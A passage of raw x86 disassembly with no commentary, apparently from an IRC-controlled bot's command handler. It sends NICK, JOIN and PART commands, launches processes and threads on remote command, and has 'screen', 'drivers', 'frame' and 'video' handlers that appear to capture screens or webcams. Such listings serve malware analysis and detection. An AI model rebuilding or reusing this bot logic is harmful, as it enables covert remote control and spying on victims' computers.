		push	[ebp+arg_10]
		mov	[ebp+var_668], esi
		xor	esi, esi
		mov	[ebp+var_638], bx
		inc	esi
		mov	[ebp+var_63C], esi
		call	sub_41E710
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408653
		mov	[ebp+var_638], 5

loc_408653:				; CODE XREF: sub_401C87+69C1j
		cmp	[ebp+var_C], ebx
		jz	loc_406F1E
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406F1E
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4F5340	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_4086A2
		push	offset unk_4429F0
		jmp	loc_4064A4
; ---------------------------------------------------------------------------

loc_4086A2:				; CODE XREF: sub_401C87+6A0Fj
		push	edi
		push	offset dword_442A14
		jmp	loc_406F15
; ---------------------------------------------------------------------------

loc_4086AD:				; CODE XREF: sub_401C87+4B53j
					; sub_401C87+4B6Aj
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40881F
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	dword_4F5384	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40B075
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset dword_442A30
		push	eax
		call	sub_41EA60
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_40873F
		push	10h
		push	ebx
		push	eax
		call	sub_41F450
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_408745
; ---------------------------------------------------------------------------

loc_40873F:				; CODE XREF: sub_401C87+6AA2j
		mov	[ebp+var_23C0],	ebx

loc_408745:				; CODE XREF: sub_401C87+6AB6j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40875C
		push	esi
		call	sub_41E710
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408762
; ---------------------------------------------------------------------------

loc_40875C:				; CODE XREF: sub_401C87+6AC4j
		mov	[ebp+var_23C4],	ebx

loc_408762:				; CODE XREF: sub_401C87+6AD3j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_442A3C
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Eh
		push	eax
		call	sub_40B691
		add	esp, 24h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset sub_416D68
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_408812
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442A68
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_40880A:				; CODE XREF: sub_401C87+6B91j
		push	32h
		call	dword_4F534C	; Sleep

loc_408812:				; CODE XREF: sub_401C87+6B70j
		cmp	[ebp+var_23B0],	ebx
		jz	short loc_40880A
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_40881F:				; CODE XREF: sub_401C87+6A35j
		push	offset dword_442AA8
		jmp	loc_40649E
; ---------------------------------------------------------------------------

loc_408829:				; CODE XREF: sub_401C87+4B25j
					; sub_401C87+4B3Cj
		push	[ebp+var_8C]
		push	offset a332_2	; "332"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076C4
		cmp	[ebp+var_C], ebx
		jz	loc_4076C4
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41E510
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 30h
		test	eax, eax
		jle	short loc_4088B2
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_4F534C	; Sleep

loc_4088B2:				; CODE XREF: sub_401C87+6C13j
		push	offset dword_442B04
		call	sub_415A3C
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_4088C6:				; CODE XREF: sub_401C87+4AF7j
					; sub_401C87+4B0Ej
		push	[ebp+var_8C]
		push	offset dword_442B18
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076C4
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		inc	edi
		push	offset aRepeat_0 ; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41F7E0
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2C0]
		jz	short loc_408981
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_442B34
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 38h
		test	eax, eax
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_408981:				; CODE XREF: sub_401C87+6C85j
		push	offset unk_442B4C
		jmp	loc_40922B
; ---------------------------------------------------------------------------

loc_40898B:				; CODE XREF: sub_401C87+4AC9j
					; sub_401C87+4AE0j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41E510
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_208C],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_2218],	esi
		push	offset unk_442B80
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Fh
		push	eax
		call	sub_40B691
		add	esp, 40h
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset sub_414C64
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_408A4F
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442BB4
		jmp	loc_408B13
; ---------------------------------------------------------------------------

loc_408A47:				; CODE XREF: sub_401C87+6DCEj
		push	32h
		call	dword_4F534C	; Sleep

loc_408A4F:				; CODE XREF: sub_401C87+6DADj
		cmp	[ebp+var_2088],	ebx
		jz	short loc_408A47
		jmp	loc_408B22
; ---------------------------------------------------------------------------

loc_408A5C:				; CODE XREF: sub_401C87+4A9Bj
					; sub_401C87+4AB2j
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41E510
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2220],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_23AC],	esi
		push	offset dword_442BF0
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	11h
		push	eax
		call	sub_40B691
		add	esp, 40h
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset sub_41440C
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_408B4A
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442C1C

loc_408B13:				; CODE XREF: sub_401C87+6DBBj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_408B22:				; CODE XREF: sub_401C87+6DD0j
					; sub_401C87+6ECBj
		cmp	[ebp+var_8], ebx
		jnz	loc_40758A
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_407582
; ---------------------------------------------------------------------------

loc_408B42:				; CODE XREF: sub_401C87+6EC9j
		push	32h
		call	dword_4F534C	; Sleep

loc_408B4A:				; CODE XREF: sub_401C87+6E7Ej
		cmp	[ebp+var_221C],	ebx
		jz	short loc_408B42
		jmp	short loc_408B22
; ---------------------------------------------------------------------------

loc_408B54:				; CODE XREF: sub_401C87+4A6Dj
					; sub_401C87+4A84j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_41EA60
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 10h
		test	eax, eax
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_22	; "%s\r\n"

loc_408B99:				; CODE XREF: sub_401C87+6F7Dj
					; sub_401C87+7B03j
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C2F
		jmp	loc_404AE3
; ---------------------------------------------------------------------------

loc_408BB8:				; CODE XREF: sub_401C87+4A3Fj
					; sub_401C87+4A56j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset aJoinSS_1 ; "JOIN %s %s"
		push	eax
		call	sub_41EA60
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 14h
		test	eax, eax
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_23	; "%s\r\n"
		jmp	short loc_408B99
; ---------------------------------------------------------------------------

loc_408C06:				; CODE XREF: sub_401C87+4A11j
					; sub_401C87+4A28j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_6	; "NICK	%s"
		push	eax
		call	sub_41EA60
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41E710
		add	esp, 10h
		test	eax, eax
		jle	loc_409A67
		push	esi
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_24	; "%s\r\n"
		push	esi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C2F
		push	edi
		push	esi
		push	offset dword_442C8C

loc_408C69:				; CODE XREF: sub_401C87+706Aj
					; sub_401C87+70D6j ...
		call	sub_415AB0
		jmp	loc_404408
; ---------------------------------------------------------------------------

loc_408C73:				; CODE XREF: sub_401C87+49E3j
					; sub_401C87+49FAj
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408CA2
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_442CA8
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_408CA2:				; CODE XREF: sub_401C87+7004j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_409A67
		push	edi
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_442CB0
		push	edi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C2F
		push	esi
		push	edi
		push	offset dword_442CB8
		jmp	loc_408C69
; ---------------------------------------------------------------------------

loc_408CF6:				; CODE XREF: sub_401C87+49B5j
					; sub_401C87+49CCj
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409A67
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_409A67
		push	edi
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		push	esi
		push	offset dword_442CD4
		push	edi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C2F
		push	esi
		push	edi
		push	offset dword_442CDC
		jmp	loc_408C69
; ---------------------------------------------------------------------------

loc_408D62:				; CODE XREF: sub_401C87+4987j
					; sub_401C87+499Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409A67
		push	esi
		push	offset dword_442CF8
		push	[ebp+arg_4]
		call	sub_409C2F
		push	esi
		push	offset unk_442D04

loc_408D96:				; CODE XREF: sub_401C87+7CAAj
					; sub_401C87+7CC7j ...
		call	sub_415AB0
		jmp	loc_40368A
; ---------------------------------------------------------------------------

loc_408DA0:				; CODE XREF: sub_401C87+4959j
					; sub_401C87+4970j
		push	[ebp+var_8C]
		push	offset a332_3	; "332"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076C4
		push	edi
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_4F534C	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	offset dword_442D40
		call	sub_415A3C
		jmp	loc_40368A
; ---------------------------------------------------------------------------

loc_408E04:				; CODE XREF: sub_401C87+492Bj
					; sub_401C87+4942j
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		call	sub_41BC70
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41BC70
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41EBB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409A67
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_442D54
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409C75
		push	esi
		push	[ebp+arg_10]
		push	offset unk_442D60
		call	sub_415AB0
		add	esp, 2Ch
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_408E76:				; CODE XREF: sub_401C87+48FDj
					; sub_401C87+4914j
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		call	sub_41BC70
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41BC70
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41EBB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409A67
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409C75
		push	esi
		push	[ebp+arg_10]
		push	offset unk_442D7C
		call	sub_415AB0
		add	esp, 20h
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_408ED0:				; CODE XREF: sub_401C87+48CFj
					; sub_401C87+48E6j
		cmp	[ebp+var_C], ebx
		jz	loc_4076C4
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4076C4
		push	eax
		push	[ebp+arg_10]
		call	sub_415944
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_442D9C
		push	eax
		call	sub_41EA60
		add	esp, 14h
		jmp	loc_407569
; ---------------------------------------------------------------------------

loc_408F11:				; CODE XREF: sub_401C87+48A1j
					; sub_401C87+48B8j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419036
		jmp	loc_40427B
; ---------------------------------------------------------------------------

loc_408F2B:				; CODE XREF: sub_401C87+4863j
					; sub_401C87+4878j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A67
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408FC6
		push	esi
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jz	short loc_408FB4
		push	esi
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS_1	; "%s %s %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	offset unk_442DCC
		push	eax
		call	sub_41EA60
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_409398
; ---------------------------------------------------------------------------

loc_408FB4:				; CODE XREF: sub_401C87+72D9j
		push	offset unk_442DF4
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	loc_409398
; ---------------------------------------------------------------------------

loc_408FC6:				; CODE XREF: sub_401C87+72C2j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B975
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442E24
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 24h
		jmp	loc_409398
; ---------------------------------------------------------------------------

loc_40900F:				; CODE XREF: sub_401C87+4839j
					; sub_401C87+484Ej
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40906A
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_409057
		push	edi
		call	sub_415D1B
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409050
		push	edi
		push	offset unk_442E48
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_40906A
; ---------------------------------------------------------------------------

loc_409050:				; CODE XREF: sub_401C87+73B6j
		push	offset unk_442E74
		jmp	short loc_409062
; ---------------------------------------------------------------------------

loc_409057:				; CODE XREF: sub_401C87+73A4j
		push	offset unk_442EA4
		lea	eax, [ebp+var_2C0]

loc_409062:				; CODE XREF: sub_401C87+73CEj
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_40906A:				; CODE XREF: sub_401C87+7399j
					; sub_401C87+73C7j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090F7
		xor	edi, edi

loc_40907F:				; CODE XREF: sub_401C87+745Bj
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4E30B8
		test	eax, eax
		jz	short loc_4090DE
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_442EE8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 28h

loc_4090DE:				; CODE XREF: sub_401C87+7419j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_40907F
		lea	eax, [ebp+var_2C0]
		push	offset unk_442F10
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_4090F7:				; CODE XREF: sub_401C87+73F4j
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409198
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_409185
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_409185
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_409185
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_409185
		push	eax
		call	sub_41E710
		pop	ecx
		push	eax
		push	edi
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_415F56
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_40917E
		push	[ebp+esi+var_88]
		push	offset unk_442F40
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_409198
; ---------------------------------------------------------------------------

loc_40917E:				; CODE XREF: sub_401C87+74DEj
		push	offset unk_442F6C
		jmp	short loc_409190
; ---------------------------------------------------------------------------

loc_409185:				; CODE XREF: sub_401C87+748Ej
					; sub_401C87+7497j ...
		push	offset unk_442FA0
		lea	eax, [ebp+var_2C0]

loc_409190:				; CODE XREF: sub_401C87+74FCj
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_409198:				; CODE XREF: sub_401C87+7481j
					; sub_401C87+74F5j
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409377
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	loc_409243
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_409243
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_409243
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_409243
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_409243
		push	esi
		call	sub_41E710
		pop	ecx
		push	eax
		push	edi
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_41614F
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409239
		push	[ebp+arg_1C]
		push	offset unk_442FE0

loc_40922B:				; CODE XREF: sub_401C87+6CFFj
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_409377
; ---------------------------------------------------------------------------

loc_409239:				; CODE XREF: sub_401C87+759Aj
		push	offset unk_443010
		jmp	loc_40936F
; ---------------------------------------------------------------------------

loc_409243:				; CODE XREF: sub_401C87+7534j
					; sub_401C87+7546j ...
		push	offset dword_443050
		lea	eax, [ebp+var_2C0]
		jmp	loc_40936F
; ---------------------------------------------------------------------------

loc_409253:				; CODE XREF: sub_401C87+4020j
					; sub_401C87+4035j
		push	offset word_44308E
		push	[ebp+arg_10]
		call	sub_41E490
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_4092D1
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_41EFB0
		add	esp, 0Ch
		jmp	short loc_4092AB
; ---------------------------------------------------------------------------

loc_409280:				; CODE XREF: sub_401C87+7626j
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_41EFB0
		add	esp, 20h

loc_4092AB:				; CODE XREF: sub_401C87+75F7j
		test	eax, eax
		jnz	short loc_409280
		push	edi
		call	sub_41BCF0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_443090
		push	eax
		call	sub_41EA60
		add	esp, 10h
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_4092D1:				; CODE XREF: sub_401C87+75DFj
		push	[ebp+arg_10]
		push	offset dword_4430B4
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_4092DE:				; CODE XREF: sub_401C87+3FF6j
					; sub_401C87+400Bj
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409A67
		push	offset word_4430D6
		push	esi
		call	sub_41F630
		push	esi
		call	sub_41A6D9
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409323
		push	offset unk_4430D8
		jmp	short loc_40936F
; ---------------------------------------------------------------------------

loc_409323:				; CODE XREF: sub_401C87+7693j
		push	esi
		push	offset dword_443104
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_409398
; ---------------------------------------------------------------------------

loc_409334:				; CODE XREF: sub_401C87+3FCCj
					; sub_401C87+3FE1j
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409A67
		push	eax
		call	sub_418CE5
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_40936A
		push	offset unk_44311C
		jmp	short loc_40936F
; ---------------------------------------------------------------------------

loc_40936A:				; CODE XREF: sub_401C87+76DAj
		push	offset dword_44313C

loc_40936F:				; CODE XREF: sub_401C87+75B7j
					; sub_401C87+75C7j ...
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_409377:				; CODE XREF: sub_401C87+7522j
					; sub_401C87+75ADj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409398
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_409398:				; CODE XREF: sub_401C87+7328j
					; sub_401C87+733Aj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		pop	ecx
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_4093AA:				; CODE XREF: sub_401C87+3FA2j
					; sub_401C87+3FB7j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4093DB
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_4093DB:				; CODE XREF: sub_401C87+7740j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
